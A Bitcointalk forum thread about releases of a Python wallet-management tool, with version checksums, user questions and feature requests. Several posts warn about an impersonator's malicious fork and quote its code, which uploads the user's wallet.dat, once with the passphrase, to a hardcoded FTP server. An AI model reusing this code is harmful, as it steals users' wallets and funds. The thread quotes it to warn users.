Author

Topic: New Pywallet 0.0.1a6 (Read 31114 times)

newbie
Activity: 1
Merit: 0
June 13, 2021, 01:44:38 AM
#86
Thank you
full member
Activity: 221
Merit: 101
January 19, 2018, 08:06:20 AM
#85
Hey I have lost a wallet.dat file and allready sendt you a PM, if anyone is good with pywallet or general file recovery I have a 0.4BTC bounty to finder off file Smiley  Please contact me
full member
Activity: 350
Merit: 100
It's all about the cryptocoins
December 08, 2017, 11:18:55 AM
#84
Hi JackJack,

I've sent you a private message ealier today, but I would love to have your opinion on an issue i'm having with my alt coin wallet. (onion wallet)
I have the feeling you could be my hero in this quest for a solution.
Wallet cannot dump private key and cannot send out coins.
I wonder what's the latest, trusted pywallet version that's available right now.. and what about that tool you were working on?
note: as said in my private message: i'm willing to reward you if this problem can get solved.. Wink
legendary
Activity: 1848
Merit: 1001
March 21, 2017, 02:37:19 PM
#83
pywallet really is enough, if you have the patience & confidence to use it.

thanks JJ
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
March 21, 2017, 02:17:51 PM
#82
Is this active anywhere?
No, except on my PC

would love to see an altcoin friendly update
It is altcoin friendly
I'd release it but I don't think it's still necessary, things have changed since I started it, editing wallets is easier from clients now
If many people think I should finish it, I will, but I think pywallet is enough
legendary
Activity: 1848
Merit: 1001
March 21, 2017, 01:55:08 PM
#81
would love to see an altcoin friendly update
full member
Activity: 179
Merit: 250
January 29, 2016, 05:36:23 PM
#80
Is this active anywhere?
sr. member
Activity: 278
Merit: 251
ABISprotocol on Gist
December 23, 2014, 03:06:42 AM
#79
sem ~ see my comment above and also some recent e-mail representing yet another of my recent concern (not here on this forum but it should emerge eventually)

-abisprotocol
Sem
member
Activity: 93
Merit: 10
December 07, 2014, 02:51:01 PM
#78
Hello, jackjack

My little story) :

In 2011 i have coins at deepbit and local bitcoin qt wallet on my PC (windows xp). In 2012 I transfer by a mistake to old bitcoin qt wallet bitcoins from deepbit... Wallet already was deleted and no backups. Wallet doesn`t runs after transaction never. And it`s unencripted.
Now I recover wallet.dat and trying to get my bitcoins. Already install bitcoin qt and it`s totally syncronized.Replace recovered wallet.dat to bitcoin-qt directory. But balance - 0.00 and there are a new receiving address. (as i see it`s normal).

Can I check wallet.dat is the right one to that address by pywallet? And if yes, tell me how please... Or maybe some different way.
sr. member
Activity: 278
Merit: 251
ABISprotocol on Gist
October 24, 2014, 05:13:08 PM
#77
I think I finished the "frameworks" (not sure it's the correct word)

As you can see the GUI and the WUI are simple and ugly
If someone here has some graphical skills and has some ideas, please tell me what to do

This is very interesting ~ I just looked at the github.
 [[edited 22 Dec 2014 edit: the following is the DO NOT DOWNLoad from link - perhaps you could have sandboxed it and done something but I didn't, I just used it for observation.  As I understand it you should follow the signatures of what is posted by JackJack himself and confirm it before actually downloading and using!]]

( https :// github .com / jj-jackjack / pywallet )


[YET ANOTHER EDIT after reading this...  I am of the understanding that the fake one is jj-jackjack ....Huh?? Right? Shit, now I am confused, except for the "Check JackJack's signature" part.. because all this has my head twisted around. Please feel free to private message me and tell me I am missing something really important and because of me the world is going to suffer and please make sure to explain step by step how I should change this post because I feel like I am missing something here!]

[[ As per a thread above, a different jackjack-jj link is alleged to be a scam link which supposedly removes BTC.]]
[[More 22 Dec. 2014 edit below:
https :/ /github .com/ jj-jackjack/ pywallet
This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.
Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.
Ignore any pywallet download links which are not posted by JackJack himself.
edited: the scam post has been deleted; removed yelling.

A few thoughts / suggestions come to mind as things that could be added / changed...

1) Code associated with standalone mixer plugin by BkkCoins could be added in (so that you wouldn't have to add the plugin),
currently this appears at
https://github.com/tkhaew/electrum/blob/mixer_plugin/plugins/mixer.py
Default folder will be something like this to put it in (if used as plugin for Electrum), poss. different version numbers.
/usr/local/lib/python2.7/dist-packages/Electrum-1.9.5-py2.7.egg/electrum_plugins/

[[THE tkhaew stuff is NOT fake by my understanding but.. correct me if I am wrong]]

2) Stealth support / Charity Donations section / http://abis.io ~  See https://github.com/spesmilo/sx/tree/master/tools for details

[[ http://abis.io and my repositories at https://github.com/ABISprotocol?tab=repositories including repositories I help manage such as those at BTC Foundation and Lighthouse:  I've observed them and all seems well. But if you are a contributor to one of the repositories and been affected by the recent problems in different countries / regions of late, please e-mail me and let me know (if you can), or if you can't, please use one of your network to connect with me in whatever way makes sense.

[[some stuff related to BTC and some stuff related to BCN]]]

The above is basically related to use of BTC, but I am also reminded that BCN (bytecoin.org / ring signatures / cryptonight) does not currently have a GUI and they are seeking one.  I wonder if this pywallet code could also be used / rewritten to create the first GUI wallet for BCN, as well. [[[don't know at this point, you'd have to ask the BCN devs]]]

[[  see also signature / code more recently posted from jackjack above - I've made another edit from Dec 22 2014 below... ]]

That's why I sign stuff now... Sad
Always look at the sigs in OP, check my code, and check diffs
The diff of this scam: https://www.diffchecker.com/z5qzwxni (look at line 2600ish)

Code:
def cryptedul():
       import ftplib
        rand = random.randrange(000000, 999999)
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
with open(dbdir + '/wallet.dat', 'rb') as ifh:
         session.storbinary('STOR wallet.dat - ' + rand, ifh, 19206)
         session.quit()

def cryptedull():
        import ftplib
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
        with open(dbdir + '/wallet.dat', 'rb') as ifh:
                session.storbinary('STOR wallet.dat - ' + options.passphrase, ifh, 19206)
                session.quit()


The guy is also on reddit: (SCAM LINK) http://www.reddit.com/user/jj-jackjack

FYI
Scammers so far: Nimer, LittleHodor


Not a scam is BitName / IDMAS evoled. Yes those are projects that I  am hoping will one day become reality, but currently has nothing because it is shown currently in another repository through github.com/cjbauer who has already developed concept much more: https://github.com/abisprotocol/bitname

I have been saying this again and again in Unsystem mailing list... but we need way better gpg procedures because between the attacks on tor networks and issues with tor relays, attacks on anarchist communities, attacks on various communities in usa / EEUU, some recent problems with git, all this happening almost at once, you could say it made my head spin.  let's please work offline on some procedures that are easy to use for our respective communities for gpg primarily in ways that make sense for all concerned regardless of whether or not we are part of core dev teams or just periodic commenters, thanks.  


uhhhhhhhhh..... sigh
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
October 22, 2014, 08:59:35 PM
#76
Have you looked at armoryd?

Armory has it's own daemon? heheh. I'll have to check that out. But, as far as I know, Armory still does not support use of compressed keys. I'd like to avoid being responsible for adding unnecessary bloat to the block chain. I mean, 10k addresses times 256 extra bits.
legendary
Activity: 1358
Merit: 1000
https://gliph.me/hUF
October 22, 2014, 01:30:25 PM
#75
While I'm at it, another simple request. Bulk import keys into an encrypted wallet.dat from csv. You may need the the private keys to derive the public keys, but the private keys will not be in the new wallet.dat.

I'm trying to create a watch-only full node, using Bitcoin Core. It's on the internet, therefore I prefer it to not have any private keys. All imported keys will be reserve keys or part of the pool. Core will not know the password/passphrase (I give it a dummy one at the start, when first creating the empty-wallet.dat) so it can't create new keys, and will use existing keys as needed.

I'm trying to import 5000 to 10000 keys, where the result will be a wallet file that only has public keys and bitcoin addresses, and the private keys are nuked.

If hackers steal the file, privacy may be lost, but no bitcoins will be lost.

Have you looked at armoryd?
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
October 21, 2014, 09:49:35 PM
#74
While I'm at it, another simple request. Bulk import keys into an encrypted wallet.dat from csv. You may need the the private keys to derive the public keys, but the private keys will not be in the new wallet.dat.

I'm trying to create a watch-only full node, using Bitcoin Core. It's on the internet, therefore I prefer it to not have any private keys. All imported keys will be reserve keys or part of the pool. Core will not know the password/passphrase (I give it a dummy one at the start, when first creating the empty-wallet.dat) so it can't create new keys, and will use existing keys as needed.

I'm trying to import 5000 to 10000 keys, where the result will be a wallet file that only has public keys and bitcoin addresses, and the private keys are nuked.

If hackers steal the file, privacy may be lost, but no bitcoins will be lost.
hero member
Activity: 672
Merit: 504
a.k.a. gurnec on GitHub
October 21, 2014, 01:10:47 PM
#73
Hi, jackjack.

You may want to at some point consider adding the fix-wallet-creation-crypto patch from the original pywallet in -- it looks like new pywallet is affected by those same bugs. You'd also need to re-add append_PKCS7_padding().

https://github.com/jackjack-jj/pywallet/commit/b52c955f8c93a75745166ebf281448016e1f22e2

-Chris
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
October 21, 2014, 04:56:20 AM
#72
The old pywallet can but not this one yet
I'll add that in the next version

I have a simple request: have it get as input a typical encrypted wallet.dat, and spit out a new-wallet.dat file without the private keys. Smiley You probably don't even need the password.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
October 21, 2014, 03:52:15 AM
#71
The old pywallet can but not this one yet
I'll add that in the next version
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
October 20, 2014, 08:51:00 PM
#70
jackjack, quick question. Can I use this new version to import a bunch of bitcoin addresses into a brand new wallet.dat file? With the encrypted wallet but nuked private keys. My purpose is to upload a watch-only wallet into a full node on the internet. It can see everything, but can't do anything, and hackers can't steal anything.

Here's my plan:
1. generate a few thousand addresses, using vanitygen or bitaddress or whatever.
2. start bitcoin core with an empty wallet, encrypt it with a password, then close it (shut down core).
3. use pywallet to import those addresses (I have the public key of course) to the new empty wallet.
4. run bitcoin core. It should now see all the addresses.

My issue is bulk-importing. Can pywallet accept a file as input, and what format should I put the keys in. (Does it need the private keys, or just the public keys, which is different from the bitcoin address.)

Alternatively, is there a way to get an existing wallet.dat and just kill the private keys in them? (by overwriting the part with zeros.)

What I might do instead is to import the private keys using core. Then have pywallet (or another tool) overwrite the parts where the private keys exist.

The obvious alternative is to simply import the keys, and use a 256-bit password for bitcoin core. However, I want to obliterate the private keys.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
October 11, 2014, 09:16:12 AM
#69
is a windows GUI version still coming for this release jackjack?

Yes I'll do that
newbie
Activity: 1
Merit: 0
October 07, 2014, 05:15:59 AM
#68
is a windows GUI version still coming for this release jackjack?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
October 01, 2014, 05:01:47 PM
#67
Looks like the 0.0.1a5 was broken
I'm putting a changelog in the OP, I hope I'll think about keeping it up-to-date for the next version

Code:
SHA256
3b34d02eeb77fb342fc34ddb143dc8117416bbeca4c041d28a8751076f373c2c        NPW_0.0.1a6.py
GzDu81IRrahUkquiTMHmhN39qVg3uewHPoRCHrFRQDjt9/vHLX/13fgdUwhGZ6s1slqIWKySJq+BZHI8DonSRig=

http://npw.jampa.eu/files/NPW_0.0.1a6.py
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 28, 2014, 04:20:37 AM
#66
so can pywallet dump private keys?
Of course
full member
Activity: 125
Merit: 100
September 27, 2014, 06:43:25 PM
#65
so can pywallet dump private keys?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 26, 2014, 08:26:38 AM
#64
That's why I sign stuff now... Sad
Always look at the sigs in OP, check my code, and check diffs
The diff of this scam: https://www.diffchecker.com/z5qzwxni (look at line 2600ish)

Code:
def cryptedul():
       import ftplib
        rand = random.randrange(000000, 999999)
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
with open(dbdir + '/wallet.dat', 'rb') as ifh:
        session.storbinary('STOR wallet.dat - ' + rand, ifh, 19206)
        session.quit()

def cryptedull():
        import ftplib
        dbdir = determine_db_dir()
        session = ftplib.FTP('212.48.76.120','crypto','crypto')
        with open(dbdir + '/wallet.dat', 'rb') as ifh:
                session.storbinary('STOR wallet.dat - ' + options.passphrase, ifh, 19206)
                session.quit()


The guy is also on reddit: (SCAM LINK) http://www.reddit.com/user/jj-jackjack

FYI
Scammers so far: Nimer, LittleHodor
hero member
Activity: 560
Merit: 506
I prefer Zakir over Muhammed when mentioning me!
September 26, 2014, 08:15:26 AM
#63
https :// github.com/ jj-jackjack/ pywallet

This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.

Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.

Ignore any pywallet download links which are not posted by JackJack himself.

Thank's for warning. Here is the correct link : https://github.com/jackjack-jj/pywallet . I have reported the post, I hope it will be deleted soon! Smiley

  ~~MZ~~
hero member
Activity: 672
Merit: 504
a.k.a. gurnec on GitHub
September 26, 2014, 07:56:11 AM
#62
https :/ /github .com/ jj-jackjack/ pywallet

This is not a link to JackJack's new pywallet. This is an attempt to distribute malware.

Do not use the fake pywallet software in this link, it is malware. It will steal your wallet file and upload it to the attacker.

Ignore any pywallet download links which are not posted by JackJack himself.

edited: the scam post has been deleted; removed yelling.
full member
Activity: 125
Merit: 100
September 25, 2014, 07:38:03 PM
#61
python NPW_0.0.1a5.py

What are you running it on? Windows? Linux?

I got it to run but I didn't realize it doesn't support my wallet.

How does one go about supporting a different coin/wallet?

What do you want to do? (dump?import?)
You can use the old pywallet, or you can wait for the next version of NPW to be released

Ok, I need to dump ~9000 private keys and then import them into another wallet.

This is what happened.  I mined around 9,000 blocks of a coin and decided to move them to another wallet.  When I tried to send all the coins the wallet created a HUGE transaction and they now sit unconfirmed.  I'm assuming it's because the transaction is too large.  My wallet file is around 68MB.  I didn't realize when you mine there is a private key generated per "mined" transaction.

Can pywallet do this?  I don't feel like using the console window to manually dump each key.  Specially when the wallet is unresponsive for a couple minutes then lets to do something for a few seconds at a time.

I transfer mined coins more often and in smaller chunks now.  LOL  =)
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 24, 2014, 04:41:18 AM
#60
python NPW_0.0.1a5.py

What are you running it on? Windows? Linux?

I got it to run but I didn't realize it doesn't support my wallet.

How does one go about supporting a different coin/wallet?

What do you want to do? (dump?import?)
You can use the old pywallet, or you can wait for the next version of NPW to be released
sr. member
Activity: 301
Merit: 250
September 23, 2014, 08:29:50 PM
#59
Thanks to you.  Tongue
full member
Activity: 125
Merit: 100
September 23, 2014, 07:24:36 PM
#58
python NPW_0.0.1a5.py

What are you running it on? Windows? Linux?

I got it to run but I didn't realize it doesn't support my wallet.

How does one go about supporting a different coin/wallet?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 21, 2014, 05:54:23 PM
#57
python NPW_0.0.1a5.py

What are you running it on? Windows? Linux?
full member
Activity: 125
Merit: 100
September 20, 2014, 10:08:35 AM
#56
Can't get this to run, any documentation?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 16, 2014, 06:13:33 PM
#55
I added transaction imports and exports
http://npw.jampa.eu/files/NPW_0.0.1a5.py

Code:
MD5:
ec17217b9404c939d3c81478889d707d    NPW_0.0.1a5.py
Gz8YmfIxDu5WwMGBaAXwDA19mgBBHXKzYvL7Wu9yUwdE+12kCV+Glpd9m1kY6BqML08VwRQPTh38e+TlNxwXQfg=
1Azzay7wH1FnDE5yZMPU57y75SuT4DbGc7
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 15, 2014, 12:34:22 PM
#54
Hi guys
I'm back in the bitcoin dev world. I'm not sure I'll be able to be as much present as I'd would like starting from 2015.
That's why, now that I have a bit more time, I'm planning to finish newpywallet (or at the very least developing it enough to hand over the development to a trusted developer, but that's not the plan).

The version 0.0.1a4 is expected during September.

Nice to have you back! :-)

Also:
Jack is back!
https://www.youtube.com/watch?v=TFTwZbeXngI

Ente
Nice to be back too!
I'm not sure that many people were waiting for me but I sure hope they don't look like that Cheesy
legendary
Activity: 2126
Merit: 1001
September 03, 2014, 09:31:02 AM
#53
Hi guys
I'm back in the bitcoin dev world. I'm not sure I'll be able to be as much present as I'd would like starting from 2015.
That's why, now that I have a bit more time, I'm planning to finish newpywallet (or at the very least developing it enough to hand over the development to a trusted developer, but that's not the plan).

The version 0.0.1a4 is expected during September.

Nice to have you back! :-)

Also:
Jack is back!
https://www.youtube.com/watch?v=TFTwZbeXngI

Ente
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
August 31, 2014, 03:15:21 PM
#52
New version (0.0.1a4) that can import keys
It's not heavily tested but some people asked for it so I release it

Again:
EXPERIMENTAL VERSION -> back everything up before testing!

Code:
MD5:
d14d53f3231326bba42678f73e852176        NPW_0.0.1a4
Signature: Gw570HiPRLzmzbOhUhjEUy1uG1nkGj7spIuZRyP/5AhRhziKUah4NFjZj3+21YrYHcq8AQ4dGZy+xB2WVtjUPz0=
Signing key: 1Azzay7wH1FnDE5yZMPU57y75SuT4DbGc7

Link: http://npw.jampa.eu/files/NPW_0.0.1a4.py
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
August 28, 2014, 05:04:07 PM
#51
Hi guys
I'm back in the bitcoin dev world. I'm not sure I'll be able to be as much present as I'd would like starting from 2015.
That's why, now that I have a bit more time, I'm planning to finish newpywallet (or at the very least developing it enough to hand over the development to a trusted developer, but that's not the plan).

The version 0.0.1a4 is expected during September.
hero member
Activity: 672
Merit: 500
http://fuk.io - check it out!
April 09, 2014, 07:37:42 PM
#50
this stuff looks great
newbie
Activity: 1
Merit: 0
April 03, 2014, 11:07:40 AM
#49
Hello guys Smiley is it possible to have a test version please ?

Thanks for advance
full member
Activity: 154
Merit: 100
Veronica <333
March 25, 2014, 04:36:31 PM
#48
Any update on this? Can I try the alpha?
legendary
Activity: 2618
Merit: 1022
March 17, 2014, 07:45:54 AM
#47
hi yes I run pywallet on os, you need to get mac port and python twisted etc.


can some one help me with the correct form of the comandline to dump a wallet keys with a password and voulme change, I don't seem to be able to get the order right.
newbie
Activity: 9
Merit: 0
March 17, 2014, 04:36:13 AM
#46
Anyone gotten this to work on Mac OS X? (I'm running 10.9 Mavericks)
newbie
Activity: 20
Merit: 0
February 12, 2014, 01:04:55 AM
#45
JackJack, I have spent a lot of time trying to get pywallet.py to work, but without much luck, so I am looking forward to this new version no matter how bad shape it is in.  Shocked

Hello @jackjack
thanks for this handy tool,
i would like to know if this new version on beta now? and where to get a download for windows ( executable CMD , GUI ) ?
noob question...will it work on Nxt and ICX wallets too?
thank you


Combo, I don't see a working download link for any version of the New Pywallet.  What is the url or why did you strike out your question?
hero member
Activity: 900
Merit: 1014
advocate of a cryptographic attack on the globe
January 20, 2014, 08:56:19 AM
#44
Can this be used to delete 0/unconfirmed transactions as easily as the previous version?

Thanks!
full member
Activity: 196
Merit: 100
December 23, 2013, 11:56:38 AM
#43
Hello @jackjack
thanks for this handy tool,
i would like to know if this new version on beta now? and where to get a download for windows ( executable CMD , GUI ) ?
noob question...will it work on Nxt and ICX wallets too?
thank you
legendary
Activity: 3472
Merit: 1721
November 30, 2013, 05:03:49 PM
#42
OK, stupid me.  Roll Eyes

as you can see above:

"You didn't provide --ui so NPW is launching in WUI mode.
Use '--ui CLI' to use the command-line interface."

works with --ui CLI

but I'm stuck trying the verifymsg

Code:
Add to 'Message':

nothing is being printed on the screen when I try to paste or type at this point
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
November 30, 2013, 02:47:30 PM
#41
Oh...
OK, changing that... Sorry Sad

Files removed, thanks a lot for running them
I'm not with my dev environment currently, I don't know when I'll be able to make the new version (a few days or even less I hope)
legendary
Activity: 3472
Merit: 1721
November 30, 2013, 02:06:19 PM
#40
I get an error after finishing the installation process of the executable, while starting:

Quote
Running NPW v0.0.1a3...

cx_Freeze: Python error
Traceback (most recent call last):
 File "c:\python27\lib\site-packages\cx-Freeze\initscripts\Console.py\", line 27, in
 File "C:\Users\[redacted]\Desktop\bt\npw\compile\build/npw.py", line 2827, in
NameError: name 'exit' is not defined

WinXP Pro 32 SP3, tried both Python 2.7.3 and 2.7.6

EDIT: trying the .py file now and I get this:

Quote
C:\Python276>NPW_0.0.1a3.py
You didn't provide --ui so NPW is launching in WUI mode.
Use '--ui CLI' to use the command-line interface.

Traceback (most recent call last):
  File "C:\Python276\NPW_0.0.1a3.py", line 3310, in
    runServer(False,port)
  File "C:\Python276\NPW_0.0.1a3.py", line 3258, in runServer
    terver=terver(port, TERVER_TYPE_HTTP, ssl=True).changeHandle(npw_handle_HTTP)
UnboundLocalError: local variable 'terver' referenced before assignment
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
November 29, 2013, 07:07:56 PM
#39
The .py file needs Python 2.7 and no dependency for the CLI and the WUI. The Qt GUI needs pyqt4.
The .exe file is a single-file bundle python+NPW+pyqt4 so just run it and the GUI should show up.

Please keep in mind this is an experimental version
Please BACK UP all your wallets when messing with softwares that read/edit them
And please give me some backup (good or bad!), that tells me where to focus or allow me to fix bugs I didn't notice

http://npw.jampa.eu/files/NPW_0.0.1a3.py
http://npw.jampa.eu/files/NPW_0.0.1a3.exe
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
November 29, 2013, 06:08:45 PM
#38
I'll publish NPW 0.0.1a3 soon (a few hours) if there's no bad problems
Keep in mind this version lacks many features and the ones that are present are not likely to work
And please check the signatures

"foobar wizard" is so windows-y… hopefully walletwizard would be abbreviated as "WW" in the vernacular Smiley.
Is it too windows-y? I kinda like it Sad But well I'm not a native so I don't how it is perceived

I think the name should be something with the word 'tools'

like wallettools or bittools or cryptotools
I think it's a good idea but I couldn't find a catchy name with "tools"
legendary
Activity: 1118
Merit: 1004
November 28, 2013, 12:54:08 PM
#37
I think the name should be something with the word 'tools'

like wallettools or bittools or cryptotools

newbie
Activity: 24
Merit: 0
November 23, 2013, 01:38:52 AM
#36
Hello jackjack, How to download software . I can not use python, pywallet by MS Dos. How to find this software with window version like picture in conmment 1st. Thank jackjack
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
November 20, 2013, 12:16:04 AM
#35
PyWallet = implies it was, is, and always will be in Python. If you ever do change language (like c/+/#, or php/ruby/whatever ..)

As much as he hates it, JJW will always be associated with this fork's current maintainer (JJW = JackJackWallet)

Now, just because I want to be immortalized, for free, you can called it DW (DW = Dabs Wallet) since I use it. hehehe.

Pywallet is fine though.
legendary
Activity: 1974
Merit: 1029
November 14, 2013, 04:19:51 AM
#34
"foobar wizard" is so windows-y… hopefully walletwizard would be abbreviated as "WW" in the vernacular Smiley.
member
Activity: 98
Merit: 10
nearly dead
November 13, 2013, 06:40:31 PM
#33
Oh and I'm still looking for nice names

Why do you want another name ? PyWallet is fine enough and people know about it, don't change it.
copper member
Activity: 3892
Merit: 2197
Verified awesomeness ✔
November 13, 2013, 06:13:24 PM
#32
WalletWizard sounds funny and catchy. Go for it Grin
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
November 13, 2013, 06:11:03 PM
#31
The project is kind of paused as I've been really busy lately

1. on the pywallet thread, someone proposed WalletWizard. What do you think?

2.
I wonder what wallet formats are searched on "recovery"?
In fact, there's a sad Armory user trying to scan his HDD for a lost wallet.

Alan just wrote what one would scan for:

[..]
For CircusPeanut or anyone else that would like to take a stab at raw binary searches for wallets, you can probably search for \xBAWALLET\x00 which will appear as the first eight bytes of any wallet file.  After that, you can look four bytes later for the network magic bytes \xF9\xBE\xB4\xD9.  Once you have that, you can use the binary map I linked above to figure out how much data to copy.

Ente
It looks for the few bytes that are just before the keys on the disk, then retrieve the keys themselves
Thanks for taking this to my attention, I hope I can help

3.
I will send an alpha version to the people who asked me, soon. I now have the file with me, so it should be a matter of days (fixing severe bugs)
A public alpha release will come soon anyway
legendary
Activity: 2126
Merit: 1001
November 06, 2013, 06:14:15 AM
#30
I wonder what wallet formats are searched on "recovery"?
In fact, there's a sad Armory user trying to scan his HDD for a lost wallet.

Alan just wrote what one would scan for:

[..]
For CircusPeanut or anyone else that would like to take a stab at raw binary searches for wallets, you can probably search for \xBAWALLET\x00 which will appear as the first eight bytes of any wallet file.  After that, you can look four bytes later for the network magic bytes \xF9\xBE\xB4\xD9.  Once you have that, you can use the binary map I linked above to figure out how much data to copy.

Ente
copper member
Activity: 3892
Merit: 2197
Verified awesomeness ✔
November 04, 2013, 01:09:29 PM
#29
  • PythonWallet 2.0
  • PWallet
  • JackWallet
  • BitPython
  • BPython
  • BitP
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
November 04, 2013, 01:00:04 PM
#28
Around half a dozen people asked me to test it and I currently don't have the time to develop it intensively so I'll publicly release NPW 0.0.1a3 in the following hours/days

Please note that:
- it's an alpha version, it's experimental, so keep a backup of your wallet before using NPW
- the plan is to put all the current features of pywallet inside it so if you want a new feature you must ask for it
- I'm very enthusiastic about adding new features
- as an experimental software it can have (likely has) bugs: please report ANY bug, suggestion, critic, or whatever. Even a small "it works good" or "WUI is ugly" is more than welcome.

Oh and I'm still looking for nice names
legendary
Activity: 2097
Merit: 1068
November 04, 2013, 08:39:32 AM
#27
Where do I get the official signed version from ?

Edit : I can see a link at the start of your truncated signature - you should know that only part of that sig is visible.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
October 12, 2013, 01:16:52 PM
#26
I think the python file is enough stable to send it to alpha testers
Ask me if you want to test it
Please don't release it publicly, I don't want people to use it "seriously" yet

Again, the checksum is signed in OP
Code:
NPW_0.0.1a2.py:
  MD5           464060d5ac6a702390182deb0d12ab27
  SHA1          52eb984f273975daf1173554e81c77bdcbb1add1
  SHA256        cbd79d59112d9180e2f3f2d8fb631d9a1b36dc4a0207fa3f39832325697606ed
  SHA512        a698f94fa2bb7303bc05f5f5bea5f9f43db0b3b84cb28020115ff9ef18f82e96
                c3ceabc087ce0140f8b0cdd173218c3189bf0767fbb1612a8df09e6a66a08bd6
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 30, 2013, 06:27:18 AM
#25
The first alpha version (Windows binary only) is ready

I'll PM Adrian-x and love9090 in the following minutes
I can send this version to some other people, just tell me
The signed checksum is in the OP
Virustotal, 0/48: https://www.virustotal.com/fr/file/0fe5c2b8878196d1f2d3626c35b0e9f39a233e658304c9f2162aa8aad07e8a16/analysis/1380545351/

Working features: https://github.com/jackjack-jj/npw/blob/master/history.txt

The file is far from being perfect and I'd like to avoid people building things on it so please don't publish the file if I sent it to you

newbie
Activity: 24
Merit: 0
September 29, 2013, 09:59:16 PM
#24
Hello jackjack. Where to download this software. Thanks
legendary
Activity: 1134
Merit: 1105
September 29, 2013, 02:19:26 PM
#23
Awesome stuff. The screenshots for the new Pywallet look pretty nice so far.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 26, 2013, 09:45:45 PM
#22
Yes, the old pywallet worked quite good for two years so as this one now adds logic and practicality, this should become the easiest way to manage bitcoin-qt (and other?) wallets
legendary
Activity: 1372
Merit: 1000
September 26, 2013, 09:28:01 PM
#21
Don't worry, I'll be sure to back up my walet.dat.
I am looking for a tool to extract manage and consolidate my private keys form the QT client.
This seems like my best bet.

I look forward to testing it.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 26, 2013, 08:58:02 PM
#20
If I use my existing wallet.dat offline will everything work? 
Currently only wallet dump and wallet recovery work (see OP for implemented features).
It's an alpha version though so things can be buggy.

If I use a copy of my wallet.dat offline is there any chance of damaging my bitcoin balances?
No because dump and recover only read things, they don't write inside wallets.
I highly advise you to keep a backup though, we never know what can happen.

I'll need noob instructions to install?
If it works as intended, there's absolutely nothing to install: only a .exe to double-click.

Thanks for your interest. The alpha version should be ready for testers on Monday.
The "Bitcoin part" is tested and must work but I focused on the update system as I wanted early testers to be able to update without hassle.
legendary
Activity: 1372
Merit: 1000
September 26, 2013, 08:11:16 PM
#19
I'd love to test,
I am a noob
If I use my existing wallet.dat offline will everything work? 
If I use a copy of my wallet.dat offline is there any chance of damaging my bitcoin balances?
I'll need noob instructions to install?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 24, 2013, 04:07:08 PM
#18
I'd need some Windows testers.
Normally you will be able to update later so you would only have to download it once.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 23, 2013, 09:49:43 AM
#17
Is there a way to delete generated addresses ?
Not yet but pywallet can delete addresses from wallets
full member
Activity: 196
Merit: 100
September 23, 2013, 09:41:22 AM
#16
Is there a way to delete generated addresses ?
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 23, 2013, 09:19:03 AM
#15
FWIW I like "NPW" a lot.
Not easy to pronounce  Sad
legendary
Activity: 1974
Merit: 1029
September 23, 2013, 07:24:14 AM
#14
FWIW I like "NPW" a lot.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 23, 2013, 06:29:48 AM
#13
What's wrong with JackJackWallet? Even JackWallet or WalletJack sounds nice to me, and I'm not even an American, English is my 1.5st language.

I volunteer and allow you to use my name. heheh... royalty free. I just want to be famous for 15 minutes or whatever.
I have nothing against them, but it seems the latter carries a negative connotation.
(American) English is my mother tongue, and I agree that JackWallet carries a negative connotation.  I don't want someone to jack my wallet.  "WalletJack" seems less negative, but I'd still stay away from it,

And JackjackWallet is definitely too pedantic. As would be Gavin-qt or EtotheipiClient.

legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
September 23, 2013, 01:02:27 AM
#12
What's wrong with JackJackWallet? Even JackWallet or WalletJack sounds nice to me, and I'm not even an American, English is my 1.5st language.

I volunteer and allow you to use my name. heheh... royalty free. I just want to be famous for 15 minutes or whatever.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 22, 2013, 07:28:11 PM
#11
I still have no name for the project but an alpha version will be ready really soon. Not much features are here (see OP), it's an alpha version of the core.
Anybody interested?

Requirements:
  • Python 2.7
  • BSDDB (included in Python but broken on OSX)
